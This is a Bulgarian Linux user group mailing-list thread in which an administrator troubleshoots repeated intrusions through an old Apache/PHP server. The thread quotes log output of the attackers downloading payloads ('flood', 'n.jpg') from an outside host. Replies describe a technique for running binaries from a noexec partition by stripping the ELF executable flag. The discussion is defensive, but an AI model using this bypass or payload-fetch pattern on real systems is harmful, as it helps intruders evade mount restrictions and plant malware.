http://linux-bulgaria.org/mailman/listinfo/lug-bg ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
Re: [Lug-bg] пробив през апаче и пхп :(
Summary. When doing this: /lib/ld-linux.so.2 /path/to/file/on/noexec/fs The linux-kernel disallows the mmap() of the executable textsegment: mmap2(0x8048000, 16384, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = -1 EPERM (Operation not permitted) But when trying it after doing nothing but removing the PF_X-flag from all segments: mmap2(0x8048000, 16384, PROT_READ, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x8048000 (The program executes normally after this despite the missing PROT_EXEC-flag) The best way to deal with this would probably be to patch ld.so so it enforces the executable-bit by itself. Аз лично не съм си играл, чак толкова а и не ми се занимава... Може и да са го поправили, а може и да не са. Просто като чета това ме навежда на мисълта, че ядрото проверява само PROT_EXEC и пропуска изпълнението нататък... Съответно ако в libc няма проверка за това, програмата ще се стартира. Поздрави Мариян Georgi Chorbadzhiyski [EMAIL PROTECTED] Sent by: [EMAIL PROTECTED] 12.07.2007 16:13 Please respond to Linux Users Group - Bulgaria lug-bg@linux-bulgaria.org To Linux Users Group - Bulgaria lug-bg@linux-bulgaria.org cc Subject Re: [Lug-bg] пробив през апаче и пхп :( Around 07/12/07 15:29, Marian Marinov scribbled: Има доста информация в интернет как можеш да стартираш бинарен файл върху дял който е монтиран noexec. Основната идея е да се използва /lib/ld-linux.so.2 /path/to/binary/file Това отдавна не работи, от 2.5 нещо си нататък. При файла зареден от noexec партишън ядрото не позволява паметта в която е зареден да бъде маркирана като PROT_EXEC (ако си спомням правилно) ефективно това не дава на динамичния линкер (ld-linux.so.2) да линкне и изпълни файла. Разбира се ако имаш някъде интерпретатор като perl, php, bash и файл написан на някой от тези скриптови езици, можеш да изпълниш /bin/interpretatora faila, но на партишън с noxec няма начин да изпълниш компилиран код (освен ако в ядрото няма някоя грешка) ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg
[Lug-bg] пробив през апаче и пхп :(
няколко пъти пробиват през уеб сървъра и копират разни неща за пускане на irc bot все в /tmp, но там сетнах noexec,nosuid на този дял и не могат да ги страртират. но искам да разбера къде е дупката в апачето. Apache 2.0.53 и php 4.3.9 Така и не мога да разбера от къде влизат. търсих по логовете но само единственно в error log-a на апачето намирам подобни на тези неща: --00:43:08-- http://private.whitehat.ro/flood = `flood' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 208,412 [text/plain] 0K .. .. .. .. .. 24% 60.12 KB/s 50K .. .. .. .. .. 49% 237.64 KB/s 100K .. .. .. .. .. 73% 16.05 KB/s 150K .. .. .. .. .. 98% 60.06 KB/s 200K ... 100% 10.13 MB/s 00:43:13 (40.79 KB/s) - `flood' saved [208412/208412] --- --11:39:45-- http://private.whitehat.ro/n.jpg = `n.jpg' Resolving private.whitehat.ro... 72.22.77.22 Connecting to private.whitehat.ro[72.22.77.22]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 261,375 [image/jpeg] 0K .. .. .. .. .. 19% 60.85 KB/s 50K .. .. .. .. .. 39% 122.81 KB/s 100K .. .. .. .. .. 58% 16.38 KB/s 150K .. .. .. .. .. 78% 61.60 KB/s 200K .. .. .. .. .. 97% 81.52 KB/s 250K . 100%1.02 MB/s 11:39:52 (44.69 KB/s) - `n.jpg' saved [261375/261375] ___ Lug-bg mailing list Lug-bg@linux-bulgaria.org http://linux-bulgaria.org/mailman/listinfo/lug-bg